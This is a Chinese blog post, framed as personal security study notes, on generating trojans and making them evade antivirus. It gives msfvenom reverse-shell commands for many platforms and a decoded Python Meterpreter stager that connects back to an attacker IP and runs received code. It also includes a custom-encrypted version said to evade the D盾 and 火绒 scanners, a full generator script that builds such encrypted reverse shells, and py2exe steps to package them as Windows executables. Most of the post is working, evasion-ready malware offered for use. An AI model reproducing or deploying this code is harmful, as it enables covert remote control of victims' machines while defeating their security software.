本专栏是笔者的网络安全学习笔记,一面分享,同时作为笔记
这里是各种木马的生成示例
Linux
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=你的IP LPORT=你监听的端口 -f elf > shell.elf
Windows
msfvenom -p windows/meterpreter/reverse_tcp LHOST=你的IP LPORT=你监听的端口 -f exe > shell.exe
Mac
msfvenom -p osx/x86/shell_reverse_tcp LHOST=你的IP LPORT=你监听的端口 -f macho > shell.macho
PHP
msfvenom -p php/meterpreter_reverse_tcp LHOST=你的IP LPORT=你监听的端口 -f raw > shell.php
ASP
msfvenom -p windows/meterpreter/reverse_tcp LHOST=你的IP LPORT=你监听的端口 -f asp > shell.asp
JSP
msfvenom -p java/jsp_shell_reverse_tcp LHOST=你的IP LPORT=你监听的端口 -f raw > shell.jsp
WAR
msfvenom -p java/jsp_shell_reverse_tcp LHOST=你的IP LPORT=你监听的端口 -f war > shell.war
Bath
msfvenom -p cmd/unix/reverse_bash LHOST=你的IP LPORT=你监听的端口 -f raw > shell.sh
Perl
msfvenom -p cmd/unix/reverse_perl LHOST=你的IP LPORT=你监听的端口 -f raw > shell.pl
Python
msfvenom -p python/meterpreter/reverse_tcp LHOST=你的IP LPORT=你监听的端口 -f raw > shell.py
在实际渗透过程中根据需求生成
这里主要是php的免杀和Python的免杀,原理都是自定义加密及解密
可参考前文 https://blog.csdn.net/realmels/article/details/119280877
重点来了
使用上文方法生成的木马,所有的木马都会报毒
D盾扫描结果
火绒扫描结果
而对于exe的免杀比较复杂(主要我不会),所以在这里介绍一种简单的免杀方法。
我们可以先生成一个Python的msf马,然后利用Python技术,对该木马进行免杀,最后将该木马打包成可执行文件exe,就可以实现免杀
用Pycharm打开木马文件,可以看到这样的东西
exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHNvY2tldCx6bGliLGJhc2U2NCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE5Mi4xNjguMjIwLjEyOCcsODg4OCkpCgkJYnJlYWsKCWV4Y2VwdDoKCQl0aW1lLnNsZWVwKDUpCmw9c3RydWN0LnVucGFjaygnPkknLHMucmVjdig0KSlbMF0KZD1zLnJlY3YobCkKd2hpbGUgbGVuKGQpPGw6CglkKz1zLnJlY3YobC1sZW4oZCkpCmV4ZWMoemxpYi5kZWNvbXByZXNzKGJhc2U2NC5iNjRkZWNvZGUoZCkpLHsncyc6c30pCg==')[0]))
相比PHP的鬼马,py的马看起来就亲切多了
这段代码中用exec函数执行了一个字符串,很显然,该字符串通过base64加密,而b64decode等函数的作用就是对字符串进行解密。
把字符串解密后内容为。
import socket,zlib,base64,struct,time
for x in range(10):
try:
s=socket.socket(2,socket.SOCK_STREAM)
s.connect(('192.168.220.128',8888))
break
except:
time.sleep(5)
l=struct.unpack('>I',s.recv(4))[0]
d=s.recv(l)
while len(d)<l:
d+=s.recv(l-len(d))
exec(zlib.decompress(base64.b64decode(d)),{'s':s})
虽然代码我看不太懂,但大体是通过socket主动连接攻击机。其中,192.168.220.128是我生成木马时设置的ip,8888是我生成木马时设定的端口。
其实此时直接把这一段代码拿出来就不会报毒了
火绒扫描结果
但是我并不甘心止步于此,因此就有了下面的一系列操作
先看下最后免杀的马
import base64
s1=r"""ÌÓÕƒÒÎ×ÝÌÄÈ—ÖÕÆÌÈmÒƒƒÑÕÑÈ”Œpƒƒ×ÜpƒƒƒƒÖ ÖÆÈ‘ÒÎוƒÒÎ׶¦Â·¨°pƒƒƒƒÖÆÑÈ׋”•”›•“”›››ŒpƒƒƒƒÅÈÎmƒƒÛÓmƒƒƒƒÌÈÖÈÓ˜pÏ ÖÕÆ‘ÑÄΊ¬ÖÕÆ‹Œ¾Àmƒƒ‘ÈÙÏpÚÌÈÏÑǃƒmƒƒƒ ÖÕÆ‹ƒƒÈ‹ŒpÈÈ‹ÏÅÇÆÐÕÖ‹ÄÈ—Å—ÈÒÈÇŒƒŠŠƒàpccŸ¡¦¥•—^ž””¥h^¦§¦¦Ÿ?˜¤ª›R“™Zbl
s2=r"ZGVmIHBhcnNlS2V5KGtleSk6CiAgICBpZiBrZXkgIT0gIiI6CiAgICAgICAgbyA9IDAKICAgICAgICBmb3IgayBpbiBrZXk6CiAgICAgICAgICAgIG4gPSAwCiAgICAgICAgICAgIGkgPSBzdHIob3JkKGspKQogICAgICAgICAgICBmb3IgdCBpbiBpOgogICAgICAgICAgICAgICAgbiArPSBpbnQodCkKICAgICAgICAgICAgbyArPSBuCiAgICAgICAgd2hpbGUgVHJ1ZToKICAgICAgICAgICAgaWYgbyA8IDEwOgogICAgICAgICAgICAgICAgbyA9IGludChvICogMikKICAgICAgICAgICAgZWxpZiBvID4gMTAwOgogICAgICAgICAgICAgICAgbyA9IGludChvIC8gMikKICAgICAgICAgICAgZWxzZToKICAgICAgICAgICAgICAgIHJldHVybiBvCiAgICByZXR1cm4="
s3=r"ZGVmIGRlY3J5cHQoZGF0YSxrZXkpOgogICAgaWYgZGF0YSA9PSAiIjoKICAgICAgICByZXR1cm4KICAgIHJlc3VsdCA9ICIiCiAgICBrZXljb2RlMSA9IHBhcnNlS2V5KGtleSkKICAgIGEgPSBsZW4oZGF0YSkgLy8gMgogICAgYjEgPSBkYXRhWzphXQogICAgYjIgPSBkYXRhW2E6XQogICAgYyA9IFtvcmQoZCkgZm9yIGQgaW4gYjFdCiAgICBlID0gW2YgLSBrZXljb2RlMSBmb3IgZiBpbiBjXQogICAgZyA9IHN0cihzdW0oYykpCiAgICBrZXljb2RlMiA9IHBhcnNlS2V5KGcpCiAgICBoID0gW29yZChpKSBmb3IgaSBpbiBiMl0KICAgIGogPSBbayAtIGtleWNvZGUyIGZvciBrIGluIGhdCiAgICBrID0gbGVuKGUpIC8vIDIKICAgIGdyb3VwMSA9IGVbOmtdCiAgICBncm91cDQgPSBlW2s6XQogICAgZ3JvdXAyID0gals6a10KICAgIGdyb3VwMyA9IGpbazpdCiAgICBkYXRhbGVuZ3RoID0gbGVuKGdyb3VwMSkgKyBsZW4oZ3JvdXAyKSArIGxlbihncm91cDMpICsgbGVuKGdyb3VwNCkKICAgIGwgPSBkYXRhbGVuZ3RoIC8vIDQKICAgIG0gPSBbXQogICAgZm9yIG4gaW4gcmFuZ2UobCk6CiAgICAgICAgbS5hcHBlbmQoZ3JvdXAxW25dKQogICAgICAgIG0uYXBwZW5kKGdyb3VwMltuXSkKICAgIG8gPSBbXQogICAgZm9yIHAgaW4gcmFuZ2UobCk6CiAgICAgICAgby5hcHBlbmQoZ3JvdXAzW3BdKQogICAgICAgIG8uYXBwZW5kKGdyb3VwNFtwXSkKICAgIHEgPSBtICsgbwogICAgZm9yIHIgaW4gcToKICAgICAgICBpZiBub3Qgcj09MDoKICAgICAgICAgICAgcmVzdWx0ICs9IGNocihyKQogICAgcmV0dXJuIHJlc3VsdAo="
key = "h&ZKsa.BEn"
exec(base64.b64decode(s2))
exec(base64.b64decode(s3))
exec(decrypt(s1,key)[0:-5])
这个s2和s3分别是base64加密后的代码,解密后内容为:
s2
def parseKey(key):
if key != "":
o = 0
for k in key:
n = 0
i = str(ord(k))
for t in i:
n += int(t)
o += n
while True:
if o < 10:
o = int(o * 2)
elif o > 100:
o = int(o / 2)
else:
return o
return
s3
def decrypt(data,key):
if data == "":
return
result = ""
keycode1 = parseKey(key)
a = len(data) // 2
b1 = data[:a]
b2 = data[a:]
c = [ord(d) for d in b1]
e = [f - keycode1 for f in c]
g = str(sum(c))
keycode2 = parseKey(g)
h = [ord(i) for i in b2]
j = [k - keycode2 for k in h]
k = len(e) // 2
group1 = e[:k]
group4 = e[k:]
group2 = j[:k]
group3 = j[k:]
datalength = len(group1) + len(group2) + len(group3) + len(group4)
l = datalength // 4
m = []
for n in range(l):
m.append(group1[n])
m.append(group2[n])
o = []
for p in range(l):
o.append(group3[p])
o.append(group4[p])
q = m + o
for r in q:
if not r==0:
result += chr(r)
return result
如果看过这篇文章,就会发现,这里面s2,s3对应的代码,正是我在文件加密器里使用的密码算法。
我的思路就是将代码块,通过我先前的密码算法加密后,在木马中解密,最后执行。
运行该Python程序,MSF是可以收到回显的
因此,我还写了一个木马生成器
Generater.py
import re
import random
import os
class Cipher:
key = ""
def __init__(self, key):
self.key = key
def setKey(self, key):
self.key = key
def getKey(self):
return self.key
def parseKey(self, key):
if key != "":
o = 0
for k in key:
n = 0
i = str(ord(k))
for t in i:
n += int(t)
o += n
while True:
if o < 10:
o = int(o * 2)
elif o > 100:
o = int(o / 2)
else:
return o
return
def getOdd(self, max):
return [i for i in range(1, max + 1) if i % 2 == 1]
def encrypt(self, data):
if data == "":
return
result = ""
length = len(data)
a = [ord(x) for x in data]
remainder = length % 4
if remainder != 0:
b = 4 - remainder
for c in range(b):
a.append(0)
groups = []
d = len(a) // 2
e1 = a[:d]
e2 = a[d:]
indexs = self.getOdd(d)
groups.append([e1[i - 1] for i in indexs])
groups.append([e1[i] for i in indexs])
groups.append([e2[i - 1] for i in indexs])
groups.append([e2[i] for i in indexs])
f1 = groups[0] + groups[3]
f2 = groups[1] + groups[2]
keycode1 = self.parseKey(self.getKey())
g = []
for h in f1:
i = h + keycode1
j = chr(i)
g.append(i)
result += j
k = str(sum(g))
keycode2 = self.parseKey(k)
for l in f2:
m = l + keycode2
n = chr(m)
result += n
return result
def gene_code(ip,port):
s="""import socket,zlib,base64,struct,time
for x in range(10):
try:
s = socket.socket(2, socket.SOCK_STREAM)
s.connect(('%s', %d))
break
except:
time.sleep(5)
l = struct.unpack('>I', s.recv(4))[0]
d = s.recv(l)
while len(d) < l:
d += s.recv(l - len(d))
exec(zlib.decompress(base64.b64decode(d)), {'s': s})"""
return s%(ip,port)
def gene_key(len=10,f=33,t=125):
res=""
for i in range(len):
res+=chr(random.randint(f,t))
return res
def gene_shell(s,k):
res=r"""# coding=UTF8
import base64,re
s1=r'''%s'''
s2=r"ZGVmIHBhcnNlS2V5KGtleSk6CiAgICBpZiBrZXkgIT0gIiI6CiAgICAgICAgbyA9IDAKICAgICAgICBmb3IgayBpbiBrZXk6CiAgICAgICAgICAgIG4gPSAwCiAgICAgICAgICAgIGkgPSBzdHIob3JkKGspKQogICAgICAgICAgICBmb3IgdCBpbiBpOgogICAgICAgICAgICAgICAgbiArPSBpbnQodCkKICAgICAgICAgICAgbyArPSBuCiAgICAgICAgd2hpbGUgVHJ1ZToKICAgICAgICAgICAgaWYgbyA8IDEwOgogICAgICAgICAgICAgICAgbyA9IGludChvICogMikKICAgICAgICAgICAgZWxpZiBvID4gMTAwOgogICAgICAgICAgICAgICAgbyA9IGludChvIC8gMikKICAgICAgICAgICAgZWxzZToKICAgICAgICAgICAgICAgIHJldHVybiBvCiAgICByZXR1cm4="
s3=r"ZGVmIGRlY3J5cHQoZGF0YSxrZXkpOgogICAgaWYgZGF0YSA9PSAiIjoKICAgICAgICByZXR1cm4KICAgIHJlc3VsdCA9ICIiCiAgICBrZXljb2RlMSA9IHBhcnNlS2V5KGtleSkKICAgIGEgPSBsZW4oZGF0YSkgLy8gMgogICAgYjEgPSBkYXRhWzphXQogICAgYjIgPSBkYXRhW2E6XQogICAgYyA9IFtvcmQoZCkgZm9yIGQgaW4gYjFdCiAgICBlID0gW2YgLSBrZXljb2RlMSBmb3IgZiBpbiBjXQogICAgZyA9IHN0cihzdW0oYykpCiAgICBrZXljb2RlMiA9IHBhcnNlS2V5KGcpCiAgICBoID0gW29yZChpKSBmb3IgaSBpbiBiMl0KICAgIGogPSBbayAtIGtleWNvZGUyIGZvciBrIGluIGhdCiAgICBrID0gbGVuKGUpIC8vIDIKICAgIGdyb3VwMSA9IGVbOmtdCiAgICBncm91cDQgPSBlW2s6XQogICAgZ3JvdXAyID0gals6a10KICAgIGdyb3VwMyA9IGpbazpdCiAgICBkYXRhbGVuZ3RoID0gbGVuKGdyb3VwMSkgKyBsZW4oZ3JvdXAyKSArIGxlbihncm91cDMpICsgbGVuKGdyb3VwNCkKICAgIGwgPSBkYXRhbGVuZ3RoIC8vIDQKICAgIG0gPSBbXQogICAgZm9yIG4gaW4gcmFuZ2UobCk6CiAgICAgICAgbS5hcHBlbmQoZ3JvdXAxW25dKQogICAgICAgIG0uYXBwZW5kKGdyb3VwMltuXSkKICAgIG8gPSBbXQogICAgZm9yIHAgaW4gcmFuZ2UobCk6CiAgICAgICAgby5hcHBlbmQoZ3JvdXAzW3BdKQogICAgICAgIG8uYXBwZW5kKGdyb3VwNFtwXSkKICAgIHEgPSBtICsgbwogICAgZm9yIHIgaW4gcToKICAgICAgICBpZiBub3Qgcj09MDoKICAgICAgICAgICAgcmVzdWx0ICs9IGNocihyKQogICAgcmV0dXJuIHJlc3VsdAo="
key = r'''%s'''
exec(base64.b64decode(s2))
exec(base64.b64decode(s3))
exec(decrypt(s1,key))
"""
res=res%(s,k)
name=gene_key(12,65,90)
path=os.getcwd()+'/'+name+".py"
with open(path,'w',encoding='utf-8') as f:
f.write(res)
print("生成成功,生成位置为:\n"+path)
if __name__ == '__main__':
ip=input("请输入监听IP >>>")
port=input("请输入监听端口 >>>")
if not re.match(re.compile(r'^(1\d{2}|2[0-4]\d|25[0-5]|[1-9]\d|[1-9])\.((1\d{2}|2[0-4]\d|25[0-5]|[1-9]\d|\d)\.){2}(1\d{2}|2[0-4]\d|25[0-5]|[1-9]\d|\d)$'),ip)!=None:
print('IP不正确')
exit()
try:
port=int(port)
except:
print("PORT不正确")
exit()
if not 0<port<65536:
print("PORT不正确")
exit()
code=gene_code(ip,port)
key=gene_key()
c=Cipher(key)
s1=c.encrypt(code)
gene_shell(s1,key)
在支持py的目标上,可以直接使用该程序。
但事实是,大部分Windows服务器是没有Python环境的
因此,要将该木马程序打包为exe
我本来是想用pyinstaller的,但不知道为什么pyinstaller生成的马运行不了,因此我用py2exe来打包exe
py2exe可以直接用pip下载
pip install py2exe
接下来在跟木马文件同目录下,创建一个python文件,名称任意
例如,我的木马文件名为shell.py,新建的文件名为1.py
在1.py中输入如下代码
from distutils.core import setup
import py2exe
setup(
name = "shell",
description = "Python-based App",
version = "1.0",
windows = ["shell.py"], #shell名称
options = {"py2exe":{"bundle_files":1,"packages":"ctypes","includes":"base64,sys,socket,struct,time,code,platform,getpass,shutil",}},
zipfile = None
)
在shell.py位置填木马的文件名
用控制台运行该程序
python .\1.py py2exe